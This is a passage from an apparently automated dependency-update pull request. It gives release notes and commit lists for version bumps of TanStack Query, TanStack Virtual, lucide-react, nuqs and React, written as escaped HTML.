'fetchIt...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/query/commit/d1558c1491629b36661e0a166e1091bb4a256daa\"\u003e\u003ccode\u003ed1558c1\u003c/code\u003e\u003c/a\u003e test({react,preact}-query/usePrefetchQuery): inline the 'generateQueryFn' fac...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/query/commit/99690d18b7937f217d3744b1c2ac78cc47caeaa7\"\u003e\u003ccode\u003e99690d1\u003c/code\u003e\u003c/a\u003e test({react,preact}-query/usePrefetchInfiniteQuery): inline single-use helper...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/query/commit/10770f0720dacae3a26701a747e33abd6bafbf8a\"\u003e\u003ccode\u003e10770f0\u003c/code\u003e\u003c/a\u003e test({react,preact}-query/usePrefetchInfiniteQuery): inline the shared 'Suspe...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/query/commit/dbd5a86e95284387bc3f172208bc52c0053a1bb2\"\u003e\u003ccode\u003edbd5a86\u003c/code\u003e\u003c/a\u003e test({react,preact}-query/usePrefetchQuery): inline the shared 'Suspended' co...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/query/commit/b955f60d7965cc521df6ee8b1ce91b3d0e8c046d\"\u003e\u003ccode\u003eb955f60\u003c/code\u003e\u003c/a\u003e test({react,preact}-query/useSuspenseQuery): assert the 'loading' fallback is...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/query/commit/b9c657e20b1ac1078ab265de8fc691aec192e143\"\u003e\u003ccode\u003eb9c657e\u003c/code\u003e\u003c/a\u003e test({react,preact}-query/usePrefetchQuery): assert the 'Loading...' fallback...\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/TanStack/query/commits/@tanstack/react-query@5.101.4/packages/react-query\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@tanstack/react-virtual` from 3.14.6 to 3.14.7\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/TanStack/virtual/releases\"\u003e@​tanstack/react-virtual's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e\u003ccode\u003e@​tanstack/react-virtual\u003c/code\u003e\u003ca href=\"https://github.com/3\"\u003e\u003ccode\u003e@​3\u003c/code\u003e\u003c/a\u003e.14.7\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies [\u003ca href=\"https://github.com/TanStack/virtual/commit/1e3b908705e04e45be2615f2277580cb09f5cdef\"\u003e\u003ccode\u003e1e3b908\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/TanStack/virtual/commit/7dcfc07b877479697124157d3124c09537b87a75\"\u003e\u003ccode\u003e7dcfc07\u003c/code\u003e\u003c/a\u003e]:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/virtual-core\u003c/code\u003e\u003ca href=\"https://github.com/3\"\u003e\u003ccode\u003e@​3\u003c/code\u003e\u003c/a\u003e.17.5\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/TanStack/virtual/blob/main/packages/react-virtual/CHANGELOG.md\"\u003e@​tanstack/react-virtual's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e3.14.7\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies [\u003ca href=\"https://github.com/TanStack/virtual/commit/1e3b908705e04e45be2615f2277580cb09f5cdef\"\u003e\u003ccode\u003e1e3b908\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/TanStack/virtual/commit/7dcfc07b877479697124157d3124c09537b87a75\"\u003e\u003ccode\u003e7dcfc07\u003c/code\u003e\u003c/a\u003e]:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/virtual-core\u003c/code\u003e\u003ca href=\"https://github.com/3\"\u003e\u003ccode\u003e@​3\u003c/code\u003e\u003c/a\u003e.17.5\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/virtual/commit/87f689a5c67ee1ed8db1e6754021a6b6b41c8550\"\u003e\u003ccode\u003e87f689a\u003c/code\u003e\u003c/a\u003e ci: Version Packages (\u003ca href=\"https://github.com/TanStack/virtual/tree/HEAD/packages/react-virtual/issues/1231\"\u003e#1231\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/virtual/commit/ba5c47a93f597f8370bc9e0119d505551c962a09\"\u003e\u003ccode\u003eba5c47a\u003c/code\u003e\u003c/a\u003e feat(angular-virtual): add chat example and require Angular 20 (\u003ca href=\"https://github.com/TanStack/virtual/tree/HEAD/packages/react-virtual/issues/1228\"\u003e#1228\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/TanStack/virtual/commits/@tanstack/react-virtual@3.14.7/packages/react-virtual\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `lucide-react` from 1.24.0 to 1.25.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/lucide-icons/lucide/releases\"\u003elucide-react's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eVersion 1.25.0\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix(icons): Rename to \u003ccode\u003ecircle-euro\u003c/code\u003e to match other euro icons by \u003ca href=\"https://github.com/ericfennis\"\u003e\u003ccode\u003e@​ericfennis\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4531\"\u003elucide-icons/lucide#4531\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(deps-dev): bump astro from 6.1.10 to 6.4.6 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4487\"\u003elucide-icons/lucide#4487\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(site): empty search results on first load for tag-only matches by \u003ca href=\"https://github.com/taimar\"\u003e\u003ccode\u003e@​taimar\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4413\"\u003elucide-icons/lucide#4413\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(deps-dev): bump \u003ccode\u003e@​babel/core\u003c/code\u003e from 7.28.5 to 7.29.6 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4476\"\u003elucide-icons/lucide#4476\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(ci): broken link in brand logo comment by \u003ca href=\"https://github.com/jguddas\"\u003e\u003ccode\u003e@​jguddas\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4533\"\u003elucide-icons/lucide#4533\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(depedencies): Update dependencies by \u003ca href=\"https://github.com/ericfennis\"\u003e\u003ccode\u003e@​ericfennis\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4553\"\u003elucide-icons/lucide#4553\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat(docs): add studio link by \u003ca href=\"https://github.com/jguddas\"\u003e\u003ccode\u003e@​jguddas\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4534\"\u003elucide-icons/lucide#4534\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(icons): changed \u003ccode\u003ehdmi-port\u003c/code\u003e icon by \u003ca href=\"https://github.com/karsa-mistmere\"\u003e\u003ccode\u003e@​karsa-mistmere\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4554\"\u003elucide-icons/lucide#4554\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(icons): changed \u003ccode\u003eethernet-port\u003c/code\u003e icon by \u003ca href=\"https://github.com/karsa-mistmere\"\u003e\u003ccode\u003e@​karsa-mistmere\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4555\"\u003elucide-icons/lucide#4555\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(icons): changed \u003ccode\u003efile-box\u003c/code\u003e icon by \u003ca href=\"https://github.com/karsa-mistmere\"\u003e\u003ccode\u003e@​karsa-mistmere\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4552\"\u003elucide-icons/lucide#4552\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat(icons): added \u003ccode\u003escan-box\u003c/code\u003e icon by \u003ca href=\"https://github.com/karsa-mistmere\"\u003e\u003ccode\u003e@​karsa-mistmere\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4551\"\u003elucide-icons/lucide#4551\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/lucide-icons/lucide/compare/1.24.0...1.25.0\"\u003ehttps://github.com/lucide-icons/lucide/compare/1.24.0...1.25.0\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/lucide-icons/lucide/commit/f229f83f0c42f46befeac3cfd8ef7aaa82a71325\"\u003e\u003ccode\u003ef229f83\u003c/code\u003e\u003c/a\u003e chore(depedencies): Update dependencies (\u003ca href=\"https://github.com/lucide-icons/lucide/tree/HEAD/packages/lucide-react/issues/4553\"\u003e#4553\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/lucide-icons/lucide/commits/1.25.0/packages/lucide-react\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `nuqs` from 2.9.0 to 2.9.1\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/47ng/nuqs/releases\"\u003enuqs's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev2.9.1\u003c/h2\u003e\n\u003ch2\u003eBug fixes\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/47ng/nuqs/tree/HEAD/packages/nuqs/issues/1469\"\u003e#1469\u003c/a\u003e - share internal state across duplicate library copies, by \u003ca href=\"https://github.com/franky47\"\u003e\u003ccode\u003e@​franky47\u003c/code\u003e\u003c/a\u003e (closes \u003ca href=\"https://github.com/47ng/nuqs/tree/HEAD/packages/nuqs/issues/798\"\u003e#798\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/47ng/nuqs/tree/HEAD/packages/nuqs/issues/1470\"\u003e#1470\u003c/a\u003e - keep transitions pending while React Router loaders run, by \u003ca href=\"https://github.com/franky47\"\u003e\u003ccode\u003e@​franky47\u003c/code\u003e\u003c/a\u003e (closes \u003ca href=\"https://github.com/47ng/nuqs/tree/HEAD/packages/nuqs/issues/1184\"\u003e#1184\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/47ng/nuqs/tree/HEAD/packages/nuqs/issues/1475\"\u003e#1475\u003c/a\u003e - unwatched keys leaking through filterSearchParams, by \u003ca href=\"https://github.com/franky47\"\u003e\u003ccode\u003e@​franky47\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/47ng/nuqs/tree/HEAD/packages/nuqs/issues/1477\"\u003e#1477\u003c/a\u003e - support multi-value search params in createSearchParamsCache, by \u003ca href=\"https://github.com/franky47\"\u003e\u003ccode\u003e@​franky47\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/47ng/nuqs/tree/HEAD/packages/nuqs/issues/1479\"\u003e#1479\u003c/a\u003e - preserve hash fragment in createSerializer bases, by \u003ca href=\"https://github.com/franky47\"\u003e\u003ccode\u003e@​franky47\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/47ng/nuqs/tree/HEAD/packages/nuqs/issues/1480\"\u003e#1480\u003c/a\u003e - honor call \u0026gt; parser \u0026gt; global precedence for limitUrlUpdates, by \u003ca href=\"https://github.com/franky47\"\u003e\u003ccode\u003e@​franky47\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eDocumentation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/47ng/nuqs/tree/HEAD/packages/nuqs/issues/1462\"\u003e#1462\u003c/a\u003e - remove old references to master, by \u003ca href=\"https://github.com/franky47\"\u003e\u003ccode\u003e@​franky47\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/47ng/nuqs/tree/HEAD/packages/nuqs/issues/1463\"\u003e#1463\u003c/a\u003e - update OrcDev testimonial, by \u003ca href=\"https://github.com/TheOrcDev\"\u003e\u003ccode\u003e@​TheOrcDev\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/47ng/nuqs/tree/HEAD/packages/nuqs/issues/1468\"\u003e#1468\u003c/a\u003e - publishing for supply-chain-security blog post, by \u003ca href=\"https://github.com/franky47\"\u003e\u003ccode\u003e@​franky47\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/47ng/nuqs/tree/HEAD/packages/nuqs/issues/1473\"\u003e#1473\u003c/a\u003e - remove stale SinceVersion gates for 2.9.0, by \u003ca href=\"https://github.com/franky47\"\u003e\u003ccode\u003e@​franky47\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/47ng/nuqs/tree/HEAD/packages/nuqs/issues/1481\"\u003e#1481\u003c/a\u003e - fix stale build/test guidance and document the fast test loop, by \u003ca href=\"https://github.com/franky47\"\u003e\u003ccode\u003e@​franky47\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/47ng/nuqs/tree/HEAD/packages/nuqs/issues/1483\"\u003e#1483\u003c/a\u003e - add link to the GitHub releases feed, by \u003ca href=\"https://github.com/franky47\"\u003e\u003ccode\u003e@​franky47\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/47ng/nuqs/tree/HEAD/packages/nuqs/issues/1490\"\u003e#1490\u003c/a\u003e - fix npm stats crash, by \u003ca href=\"https://github.com/franky47\"\u003e\u003ccode\u003e@​franky47\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eOther changes\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/47ng/nuqs/tree/HEAD/packages/nuqs/issues/1464\"\u003e#1464\u003c/a\u003e - prevent finalize re-runs from double-commenting, by \u003ca href=\"https://github.com/franky47\"\u003e\u003ccode\u003e@​franky47\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/47ng/nuqs/tree/HEAD/packages/nuqs/issues/1465\"\u003e#1465\u003c/a\u003e - cover network-boundary fetchers with MSW, by \u003ca href=\"https://github.com/franky47\"\u003e\u003ccode\u003e@​franky47\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/47ng/nuqs/tree/HEAD/packages/nuqs/issues/1466\"\u003e#1466\u003c/a\u003e - bump actions/checkout from 6.0.2 to 7.0.0, by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/47ng/nuqs/tree/HEAD/packages/nuqs/issues/1467\"\u003e#1467\u003c/a\u003e - bump pnpm/action-setup from 6.0.8 to 6.0.9, by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/47ng/nuqs/tree/HEAD/packages/nuqs/issues/1471\"\u003e#1471\u003c/a\u003e - snapshot the exported types API, by \u003ca href=\"https://github.com/franky47\"\u003e\u003ccode\u003e@​franky47\u003c/code\u003e\u003c/a\u003e (closes \u003ca href=\"https://github.com/47ng/nuqs/tree/HEAD/packages/nuqs/issues/1059\"\u003e#1059\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/47ng/nuqs/tree/HEAD/packages/nuqs/issues/1472\"\u003e#1472\u003c/a\u003e - drop URL.canParse feature detection, by \u003ca href=\"https://github.com/franky47\"\u003e\u003ccode\u003e@​franky47\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/47ng/nuqs/tree/HEAD/packages/nuqs/issues/1476\"\u003e#1476\u003c/a\u003e - run repro-1358 spec on react-router v8, by \u003ca href=\"https://github.com/franky47\"\u003e\u003ccode\u003e@​franky47\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/47ng/nuqs/tree/HEAD/packages/nuqs/issues/1478\"\u003e#1478\u003c/a\u003e - pass ISR token and dispatch inputs via env in nextjs-release workflows, by \u003ca href=\"https://github.com/franky47\"\u003e\u003ccode\u003e@​franky47\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/47ng/nuqs/tree/HEAD/packages/nuqs/issues/1484\"\u003e#1484\u003c/a\u003e - type-check with the TypeScript 7 native compiler, by \u003ca href=\"https://github.com/franky47\"\u003e\u003ccode\u003e@​franky47\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/47ng/nuqs/tree/HEAD/packages/nuqs/issues/1486\"\u003e#1486\u003c/a\u003e - bump TS6 bridge to 6.0.2 so the release audit resolves signatures, by \u003ca href=\"https://github.com/franky47\"\u003e\u003ccode\u003e@​franky47\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/47ng/nuqs/tree/HEAD/packages/nuqs/issues/1491\"\u003e#1491\u003c/a\u003e - bump dependencies, by \u003ca href=\"https://github.com/franky47\"\u003e\u003ccode\u003e@​franky47\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/47ng/nuqs/tree/HEAD/packages/nuqs/issues/1492\"\u003e#1492\u003c/a\u003e - add bundle size comparison workflow for PRs, by \u003ca href=\"https://github.com/wasihussain914\"\u003e\u003ccode\u003e@​wasihussain914\u003c/code\u003e\u003c/a\u003e \u0026amp; \u003ca href=\"https://github.com/franky47\"\u003e\u003ccode\u003e@​franky47\u003c/code\u003e\u003c/a\u003e (closes \u003ca href=\"https://github.com/47ng/nuqs/tree/HEAD/packages/nuqs/issues/1071\"\u003e#1071\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eThanks\u003c/h2\u003e\n\u003cp\u003eHuge thanks to \u003ca href=\"https://github.com/ayesigaisaac\"\u003e\u003ccode\u003e@​ayesigaisaac\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/BjoernRave\"\u003e\u003ccode\u003e@​BjoernRave\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/brunowego\"\u003e\u003ccode\u003e@​brunowego\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/crownofapollo\"\u003e\u003ccode\u003e@​crownofapollo\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/dominik-stagtech\"\u003e\u003ccode\u003e@​dominik-stagtech\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/girishcx07\"\u003e\u003ccode\u003e@​girishcx07\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/himself65\"\u003e\u003ccode\u003e@​himself65\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/hugo-dlb\"\u003e\u003ccode\u003e@​hugo-dlb\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/i3dly\"\u003e\u003ccode\u003e@​i3dly\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/janglad\"\u003e\u003ccode\u003e@​janglad\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/ktisakib\"\u003e\u003ccode\u003e@​ktisakib\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/lukasver\"\u003e\u003ccode\u003e@​lukasver\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/marko-hologram\"\u003e\u003ccode\u003e@​marko-hologram\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/miinhho\"\u003e\u003ccode\u003e@​miinhho\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/MrHeer\"\u003e\u003ccode\u003e@​MrHeer\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/olafurns7\"\u003e\u003ccode\u003e@​olafurns7\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/Philitician\"\u003e\u003ccode\u003e@​Philitician\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/ramu-r\"\u003e\u003ccode\u003e@​ramu-r\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/Sukuna0007Abhi\"\u003e\u003ccode\u003e@​Sukuna0007Abhi\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/TechWithTy\"\u003e\u003ccode\u003e@​TechWithTy\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/tefkah\"\u003e\u003ccode\u003e@​tefkah\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/TheOrcDev\"\u003e\u003ccode\u003e@​TheOrcDev\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/TimmTha7er\"\u003e\u003ccode\u003e@​TimmTha7er\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/wasihussain914\"\u003e\u003ccode\u003e@​wasihussain914\u003c/code\u003e\u003c/a\u003e, and \u003ca href=\"https://github.com/XsidX\"\u003e\u003ccode\u003e@​XsidX\u003c/code\u003e\u003c/a\u003e for helping!\u003c/p\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/47ng/nuqs/commit/b72c526f9dd94bf5a105b320fcb5955cbc68a8b3\"\u003e\u003ccode\u003eb72c526\u003c/code\u003e\u003c/a\u003e chore: bump dependencies (\u003ca href=\"https://github.com/47ng/nuqs/tree/HEAD/packages/nuqs/issues/1491\"\u003e#1491\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/47ng/nuqs/commit/6f929552c563c046576c3ccfec8775e526bc8949\"\u003e\u003ccode\u003e6f92955\u003c/code\u003e\u003c/a\u003e fix: keep transitions pending while React Router loaders run (\u003ca href=\"https://github.com/47ng/nuqs/tree/HEAD/packages/nuqs/issues/1470\"\u003e#1470\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/47ng/nuqs/commit/4e2d09f251721497d62fdae1b442de92ed2d667b\"\u003e\u003ccode\u003e4e2d09f\u003c/code\u003e\u003c/a\u003e fix: honor call \u0026gt; parser \u0026gt; global precedence for limitUrlUpdates (\u003ca href=\"https://github.com/47ng/nuqs/tree/HEAD/packages/nuqs/issues/1480\"\u003e#1480\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/47ng/nuqs/commit/1406c8cea8dab72f69fd74838724bb3e5989d54f\"\u003e\u003ccode\u003e1406c8c\u003c/code\u003e\u003c/a\u003e fix: share internal state across duplicate library copies (\u003ca href=\"https://github.com/47ng/nuqs/tree/HEAD/packages/nuqs/issues/1469\"\u003e#1469\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/47ng/nuqs/commit/fc23d070a8daaea150b2bb1c8c3eb15f10d51c56\"\u003e\u003ccode\u003efc23d07\u003c/code\u003e\u003c/a\u003e fix(key-isolation): unwatched keys leaking through filterSearchParams (\u003ca href=\"https://github.com/47ng/nuqs/tree/HEAD/packages/nuqs/issues/1475\"\u003e#1475\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/47ng/nuqs/commit/b61f1a3432e2b65f32986215e84b44249154d1b6\"\u003e\u003ccode\u003eb61f1a3\u003c/code\u003e\u003c/a\u003e fix: support multi-value search params in createSearchParamsCache (\u003ca href=\"https://github.com/47ng/nuqs/tree/HEAD/packages/nuqs/issues/1477\"\u003e#1477\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/47ng/nuqs/commit/6646aea7ddba3da15c3622fe6f7acdb290fa9c09\"\u003e\u003ccode\u003e6646aea\u003c/code\u003e\u003c/a\u003e perf: type-check with the TypeScript 7 native compiler (\u003ca href=\"https://github.com/47ng/nuqs/tree/HEAD/packages/nuqs/issues/1484\"\u003e#1484\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/47ng/nuqs/commit/eafdf86ac83dae9772e1c883981475ee8aaf4976\"\u003e\u003ccode\u003eeafdf86\u003c/code\u003e\u003c/a\u003e fix: preserve hash fragment in createSerializer bases (\u003ca href=\"https://github.com/47ng/nuqs/tree/HEAD/packages/nuqs/issues/1479\"\u003e#1479\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/47ng/nuqs/commit/039adf9d2291949a51a5f0d4eb03e536a19e8a9a\"\u003e\u003ccode\u003e039adf9\u003c/code\u003e\u003c/a\u003e ref: drop URL.canParse feature detection (\u003ca href=\"https://github.com/47ng/nuqs/tree/HEAD/packages/nuqs/issues/1472\"\u003e#1472\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/47ng/nuqs/commit/19950b09125a2d49709fe9afad8281e44c7df0d1\"\u003e\u003ccode\u003e19950b0\u003c/code\u003e\u003c/a\u003e test: snapshot the exported types API (\u003ca href=\"https://github.com/47ng/nuqs/tree/HEAD/packages/nuqs/issues/1471\"\u003e#1471\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/47ng/nuqs/commits/v2.9.1/packages/nuqs\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `react` from 19.2.7 to 19.2.8\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/react/react/releases\"\u003ereact's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e19.2.8 (July 21st, 2026)\u003c/h2\u003e\n\u003ch2\u003eReact Server Components\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003ePerformance improvements when decoding\n(\u003ca href=\"https://redirect.github.com/facebook/react/pull/37087\"\u003e#37087\u003c/a\u003e by \u003ca 